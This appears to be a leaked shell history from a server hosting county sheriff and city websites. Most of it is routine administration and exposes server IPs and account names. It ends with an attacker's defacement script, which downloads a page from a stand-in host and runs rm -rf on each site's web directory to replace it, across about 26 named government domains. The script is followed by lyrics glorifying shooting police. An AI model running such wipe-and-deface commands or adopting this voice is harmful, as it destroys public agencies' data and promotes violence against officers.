tcpdump port 80 -n
tcpdump port 80
tcpdump port 80 -s 1500
tcpdump port 80 -s 1500 -A
tcpdump port 80 -s 1500 -A| less
cd ../../
cd mostwantedgovernmentwebsites.com/
cd httpdocs/
vi index.htm
cd ../..
cd ../
cd -
ls
cd mostwantedwebsites.net/
cd httpdocs/
vi index.htm
less ../statistics/logs/access_log
ls
pwd
pwd
cd ../../
ls
cd mostwantedgovernmentwebsites.com
ls
ll
cd httpdocs/
ll
vi index.htm
mv index.htm index.htm_bak
vi index.htm
less ../statistics/logs/access_log
ls
mv index.htm_bak index.htm
cd ../../
ls
cd mostwantedwebsites.net/
ls
cd httpdocs/
ls
mv index.htm index.htm_bak
mv index.htm_bak index.htm
service httpd restart
pwd
less index.htm
pwd
pwd
mv index.htm index.htm_bak
ls
cp case_study.htm index.htm
less index.htm
pwd
mv index.htm_bak index.htm
cd ..
cd ..
cd default/
ll
cd htdocs/
vi .htaccess
yum install jp2-devel
yum list | less
yum list | less
yum install fontconfig-devel
wget http://www.ipchicken.com -O /dev/stdout | less
ssh 97.74.115.143
ssh 97.74.115.143
ssh 97.74.115.143
cd /var/www/vhosts/
ls
cd baxtercountysheriff.com/
less statistics/logs/access_log
ls
find . -ls | less
find . -ls | less
less httpsdocs/array_o_files.php
ll httpsdocs/array_o_files.php
find . -ls | less
find . -type f -exec grep passthru {} \;
find . -type f -exec grep passthru {} \; -print
find . -ls | less
find . -ls | mail -s 'Files' [email protected]
mailq
vi /etc/postfix/main.cf
postfix reload
postqueue -f
mailq
mailq
mailq
mailq
mailq
mailq
telnet 208.109.80.210 25
postqueue -f
ls
find . -ls | less
mailq
less /usr/bin/GET
less /sbin/ifup
cd
ls
finder.pl /
cd /var/www/vhosts/
ls
cd boonesheriff.com/
find . -ls | less
rm -rf cgi-bin/
find . -ls | less
less httpdocs/home/check_population.php
find . -ls | less
cd httpsdocs/
ls
rm -rf test
cd ../..
ls
cd cityofgassville.org/
find . -ls | less
cd httpdocs/
ll
chmod 755 ajax  controllers model settings views
ll
find . -ls
ls
cd views
ll
chmod 755 *
find . -mode 777
find . -perms 777
find . -perm 777
find . -perm 777 -ls
find . -perm 777 -type f
find . -perm 777 -type f -ls
find . -perm 777 -type f -exec chmod 644 {} \;
find . -ls
find . -perm 777 -type d -exec chmod 755 {} \;
ll
cd ..
find . -perm 777 -ls
ls
ll
find . -perm 777 -type d -exec chmod 755 {} \;
find . -perm 777 -type f -exec chmod 644 {} \;
ll
cd ../..
ll
cd boonesheriff.com/
ll
find . -ls | less
find . -ls | less
find . -perm 777
find . -perm 777 -ls
cd httpdocs/uploads/
ll
find . -perm 777 -ls
find . -perm 777 -ls -type f
find . -perm 777 -ls -type f -exec chmod 644 {} \;
find . -perm 777  -type f -exec chmod 644 {} \;
find -ls
cd ..
cd ..
find . -perm 777
find httpdocs -perm 777
find httpdocs -perm 777  -ls
chmod 755 httpdocs/admin/modules httpdocs/admin/modules/basic_page_editor
httpdocs/admin/modules/most_wanted
httpdocs/admin/modules/most_wanted/wanted_arrested
httpdocs/admin/modules/press_releases httpdocs/admin/modules/sex_offenders
httpdocs/config
chmod 755 httpdocs/high_res httpdocs/images/inmates httpdocs/images/warrants
httpdocs/uploads
find httpdocs -perm 777  -ls
chmod 644 httpdocs/config/injection_patch.php httpdocs/config/header.php
httpdocs/cross_inmate.php
cd ..
ls
find . -perm 777  -ls
ls
cd cityofgassville.org/
find . -perm 777  -ls
;ll
ll
cd httpdocs/
less core/master.tps
ll
less core/master.tps
chmod 777 helpers
chmod 777 core
chmod 755 core
chmod -R 777 core
chmod -R 777 helpers
ll

chmod -R 777 core
vi phpinfo.php
rm phpinfo.php
find core -ls
less core/ini.tps
find . sqlite_open
find . -exec grep sqlite_open {} \;
yum list | less
vi phpinfo.php
rm phpinfo.php
cd /tmp
rpm -ivh sqlite2-2.8.17-5.el5.i386.rpm
service httpd restart
yum install php-sqlite
yum install php5-sqlite
pec install sqlite
pecl install sqlite
pecl install sqlite2
pecl install sqlite3
pecl info sqlite
pear install sqlite
cd
pecl download sqlite
mkdir sl
cd sl/
tar -zxvf ../SQLite-1.0.3.tgz
wget http://www.modphp.org/src/sqlite-1.0.3-byref_patch-1.0.patch
less sqlite-1.0.3-byref_patch-1.0.patch
patch -p1 < sqlite-1.0.3-byref_patch-1.0.patch
tar -czf ../SQLite-1.0.3.tgz .

pecl install SQLite-1.0.3.tgz
service httpd restart
vi /etc/php.d/pdo_sqlite.ini
ll /var/tmp/pear-build-root/SQLite-1.0.3/modules
cd /etc/php/d
cd /etc/php.d
ls
cp pdo_sqlite.ini sqlite.ini
vi sqlite.ini
service httpd restart
pwd
cat sqlite.ini
vi /etc/php.ini
cd
cd /var/www//vhosts/cityofgassville.org/
ls
cd httpdocs/
ls
ll
less header.tps
find . -perm 777  -ls
find . -perm 777  -type f -exec chmod 644 {} \;
find . -perm 777  -type d -exec chmod 755 {} \;
ll
cd ..
cd ..
ll
cd kempercountysheriff.com/
ls
ll
cd http
cd httpdocs/
ll
find . -ls | less
rm -rf test/
ll
find . -ls | less
ls admin/
cp ../../baxtercountysheriff.com/httpdocs/admin/.htaccess .
vi .htaccess
find . -ls | less
ll
chown 755 uploads high_res/
chown apache:apache uploads high_res/
chmod 1755 uploads high_res/
ll
find . -perm 777
less ./uploads/watermark_wanted_photo.php
ll ./uploads/watermark_wanted_photo.php
chmod 644 ./uploads/watermark_wanted_photo.php
chmod 644 ./uploads/arrested_big.png
rm -f ./uploads/Thumbs.db
cd ..
cd ..
ll
cd marioncountysheriffar.com/
find . -perm 777
cd httpdocs/
ll
ls test
rm -rf test
chown apache:apache uploads/ high_res/
chmod 1755 uploads/ high_res/
cp ../../baxtercountysheriff.com/httpdocs/admin/.htaccess admin/
vi admin/.htaccess
ls
ls ../../boonesheriff.com/httpdocs/admin/
ll ../../boonesheriff.com/httpdocs/admin/
cp ../../baxtercountysheriff.com/httpdocs/admin/.htaccess
../../boonesheriff.com/httpdocs/admin/
ll -a ../../boonesheriff.com/httpdocs/admin/
pwd
find . -ls | less
rm Thumbs.db
ll admin/
ll -a admin/
cd ../../
ll
finder.pl .
vi ~/bin/finder.pl
finder.pl .
vi ~/bin/finder.pl
finder.pl .
vi ~/bin/finder.pl
finder.pl .
vi ~/bin/finder.pl +16
finder.pl .
vi ~/bin/finder.pl +16
cd baxtercountysheriff.com/
find . -ls | less
cd httpdocs/
ls
pwd
ls test
pwd
mv test ..
ls
ll
chown apache:apache high_res/ uploads/
chmod 755 high_res/ uploads/
ll
chmod 1755 high_res/ uploads/
ll
ll config
find . -perm 777
find . -perm 777 -type f
find . -perm 777 -type f -ls | less
ll
ps -ef | grep http
find . -perm 777 -type f -ls -exec chmod 644 {} \;
find . -perm 777 -type f -ls -exec chmod 644 {} \;
ll
find . -perm 777 -type d
find . -perm 777 -type d -ls
find . -perm 777 -type d -ls| less
find admin -perm 777 -type d -exec chmod 755 {} \;
find . -perm 777 -type d -ls| less
find admin_dymin/ -perm 777 -type d -exec chmod 755 {} \;
find . -perm 777 -type d -ls| less
find blog config/ -perm 777 -type d -exec chmod 755 {} \;
find . -perm 777 -type d -ls| less
find uploads/ -perm 777 -type d -exec chmod 755 {} \;
ls
find . -perm 777 -type d -ls| less
cd images/
ll
ls warrants/
ll warrants/
ls
find . -perm 777 -type d -ls
yum install mcrypt
yum install php-mcrypt
service httpd restart
ll
chown apache:apache warrants/ inmates/
chmod 1755 warrants/ inmates/
ll
cd
mv ~bjmsuper/id_dsa.pub .ssh/authorized_keys2
vi /etc/ssh/sshd_config
nohup service sshd restart
cd
cd .ssh/
ll
crontab -e
 /usr/sbin/ntpdate nist1-chi.ustiming.org
crontab -l
vi /etc/rsnapshot.exclude
crontab -e
/usr/sbin/ntpdate nist1-chi.ustiming.org 2&>1 >/dev/null
cd
cd /var/www/vhosts/
cd marioncountysheriffar.com/
ll
cd httpdocs/
ll
cd ../../kempercountysheriff.com/
ll
cd httpdocs/
ll
ll -a admin/
cd ..
cd ..
find . -name .htaccess
cp ./marioncountysheriffar.com/httpdocs/admin/.htaccess
kempercountysheriff.com/httpdocs/admin/
vi kempercountysheriff.com/httpdocs/admin/.htaccess
cd /var/www/vhosts/baxtercountysheriff.com/cd admin
cd /var/www/vhosts/baxtercountysheriff.com/httpdocs/admin
vi .htaccess
exit
passwd bjmsuper
mailq
openssl s_client -connect mostwantedwebsites.net:993 -ssl2
openssl s_client -connect localhost.net:993 -ssl2
openssl s_client -connect mail.mostwantedwebsites.net:465 -ssl2
openssl s_client -connect mail.mostwantedwebsites.net:465
openssl s_client -connect mail.mostwantedwebsites.net:993 -sslv
openssl s_client -connect mail.mostwantedwebsites.net:993 -ssl2
openssl s_client -connect mail.mostwantedwebsites.net:995 -ssl2
openssl s_client -connect mail.mostwantedwebsites.net:443 -ssl2
openssl s_client -connect mail.mostwantedwebsites.net:443 -ssl2
openssl s_client -connect mail.mostwantedwebsites.net:443 -ssl2
openssl s_client -connect mail.mostwantedwebsites.net:443 -ssl2
ping mail.mostwantedwebsites.net
openssl s_client -connect mail.mostwantedwebsites.net:443 -ssl2
openssl s_client -connect mail.mostwantedwebsites.net:993 -ssl2
openssl s_client -connect mail.mostwantedwebsites.net:995 -ssl2
openssl s_client -connect mail.mostwantedwebsites.net:443 -ssl2
openssl s_client -connect mail.mostwantedwebsites.net:443 -ssl2
vi /etc/httpd/conf.d/ssl.conf
restart httpd
/etc/init.d/httpd restart
vi /etc/courier-imap/imapd-ssl
vi /etc/courier-imap/pop3d-ssl
/etc/init.d/courier-imap restart
openssl s_client -connect mail.mostwantedwebsites.net:465 -ssl2
openssl s_client -connect mail.mostwantedwebsites.net:465
openssl s_client -connect mail.mostwantedwebsites.net:25
add user bcsd_sync
adduser bcsd_sync
passwd bcsd_sync
cd /var/www/vhosts/baxtercountysheriff.com/
ls
mkdir home
ls /home
ll /home
rm home
rm home -rf
ll
mv /home/bcsd_sync/ ./home
ll
vi /etc/passwd
chown bcsd_sync:psacln home
chmod 740 home
ll
exit
cd /var/www/vhosts/adamscosheriff.org/httpdocs/
ll
find . -type d -exec chmod 0755 {} \;
find . -type f -exec chmod 0644 {} \;
ll
chown -R apache:apache settings/ uploads/
ll
chmod -R 1755 settings/ uploads/
ll
cd /var/www/vhosts/sgcso.com/httpdocs/
ll
find . -type d -exec chmod 0755 {} \;
find . -type f -exec chmod 0644 {} \;
ll
chown -R apache:apache uploads/ high_res/
chmod -R 1755 uploads/ high_res/
ll
cd admin
ll
ll -a
vi .htaccess
ll -a
cd /var/www/vhosts/bakercountysheriffoffice.org/httpdocs/
ll
find . -type d -exec chmod 0755 {} \;
find . -type f -exec chmod 0644 {} \;
chmod -R 1755 uploads/ high_res/
chown -R apache:apache uploads/ high_res/
ll
cd admin/
ll
ll -a
cd /var/www/vhosts/crosscountysheriff.org/
cd httpdocs/
ll
cd admin/
ll
cd config/
ll
less connect.php
vi connect.php
vi connect.php
cd /var/www/vhosts/polkcountymosheriff.org/httpdocs/
ll
ll
cd /var/www/vhosts/marioncountysheriffar.com/httpdocs/
ll
cd /var/www/vhosts/bakercountysheriffoffice.org/httpdocs/
ll


// THIS TIME WE'RE NOT GONNA HESITATE TO PULL THE TRIGGER. 

# wget http://our.sekret.stash/index.html
# rm -rf /var/www/vhosts/adamscosheriff.org/httpdocs/*; cp index.html
/var/www/vhosts/adamscosheriff.org/httpdocs/;
# rm -rf /var/www/vhosts/bakercountysheriffoffice.org/httpdocs/*; cp index.html
/var/www/vhosts/bakercountysheriffoffice.org/httpdocs/;
# rm -rf /var/www/vhosts/baxtercountysheriff.com/httpdocs/*; cp index.html
/var/www/vhosts/baxtercountysheriff.com/httpdocs/;
# rm -rf /var/www/vhosts/boonesheriff.com/httpdocs/*; cp index.html
/var/www/vhosts/boonesheriff.com/httpdocs/;
# rm -rf /var/www/vhosts/cityofgassville.org/httpdocs/*; cp index.html
/var/www/vhosts/cityofgassville.org/httpdocs/;
# rm -rf /var/www/vhosts/crosscountysheriff.org/httpdocs/*; cp index.html
/var/www/vhosts/crosscountysheriff.org/httpdocs/;
# rm -rf /var/www/vhosts/drewcountysheriff.com/httpdocs/*; cp index.html
/var/www/vhosts/drewcountysheriff.com/httpdocs/;
# rm -rf /var/www/vhosts/grantcountysheriff-collector.com/httpdocs/*; cp
index.html /var/www/vhosts/grantcountysheriff-collector.com/httpdocs/;
# rm -rf /var/www/vhosts/hodgemansheriff.us/httpdocs/*; cp index.html
/var/www/vhosts/hodgemansheriff.us/httpdocs/;
# rm -rf /var/www/vhosts/izardcountyar.org/httpdocs/*; cp index.html
/var/www/vhosts/izardcountyar.org/httpdocs/;
# rm -rf /var/www/vhosts/izardcountysheriff.org/httpdocs/*; cp index.html
/var/www/vhosts/izardcountysheriff.org/httpdocs/;
# rm -rf /var/www/vhosts/jocomosheriff.org/httpdocs/*; cp index.html
/var/www/vhosts/jocomosheriff.org/httpdocs/;
# rm -rf /var/www/vhosts/kempercountysheriff.com/httpdocs/*; cp index.html
/var/www/vhosts/kempercountysheriff.com/httpdocs/;
# rm -rf /var/www/vhosts/lawrencecosheriff.com/httpdocs/*; cp index.html
/var/www/vhosts/lawrencecosheriff.com/httpdocs/;
# rm -rf /var/www/vhosts/lcsdmo.com/httpdocs/*; cp index.html
/var/www/vhosts/lcsdmo.com/httpdocs/;
# rm -rf /var/www/vhosts/marioncountysheriffar.com/httpdocs/*; cp index.html
/var/www/vhosts/marioncountysheriffar.com/httpdocs/;
# rm -rf /var/www/vhosts/mcminncountysheriff.com/httpdocs/*; cp index.html
/var/www/vhosts/mcminncountysheriff.com/httpdocs/;
# rm -rf /var/www/vhosts/mostwantedgovernmentwebsites.com/httpdocs/*; cp
index.html /var/www/vhosts/mostwantedgovernmentwebsites.com/httpdocs/;
# rm -rf /var/www/vhosts/mostwantedwebsites.net/httpdocs/*; cp index.html
/var/www/vhosts/mostwantedwebsites.net/httpdocs/;
# rm -rf /var/www/vhosts/newtoncountysheriff.org/httpdocs/*; cp index.html
/var/www/vhosts/newtoncountysheriff.org/httpdocs/;
# rm -rf /var/www/vhosts/polkcountymosheriff.org/httpdocs/*; cp index.html
/var/www/vhosts/polkcountymosheriff.org/httpdocs/;
# rm -rf /var/www/vhosts/rcpi-ca.org/httpdocs/*; cp index.html
/var/www/vhosts/rcpi-ca.org/httpdocs/;
# rm -rf /var/www/vhosts/sgcso.com/httpdocs/*; cp index.html
/var/www/vhosts/sgcso.com/httpdocs/;
# rm -rf /var/www/vhosts/stonecountymosheriff.com/httpdocs/*; cp index.html
/var/www/vhosts/stonecountymosheriff.com/httpdocs/;
# rm -rf /var/www/vhosts/vbcso.com/httpdocs/*; cp index.html
/var/www/vhosts/vbcso.com/httpdocs/";

// I take a left at the light, turn off the headlights and ride real slow
// Now holla at me when you see the 5-0
// Alright Dirty, yall boys ready?
// Bout to turn drive-bys revolutionary
// *POW POW POW POW POW* YEAH MUTHAFUCKA YEAH!
// *POW POW POW POW POW* YEAH MUTHAFUCKA YEAH!
// Look at 'em run, too scared to pull they guns
// Outta shape from them coffees and them cinnamon buns
// This shit is fun, how I feel when the tables is turned
// Hollow tips hit yah flesh through yo vests and it burn
// That's a lesson you learn, comin straight from the slums
// And it don't stop till we get full freedom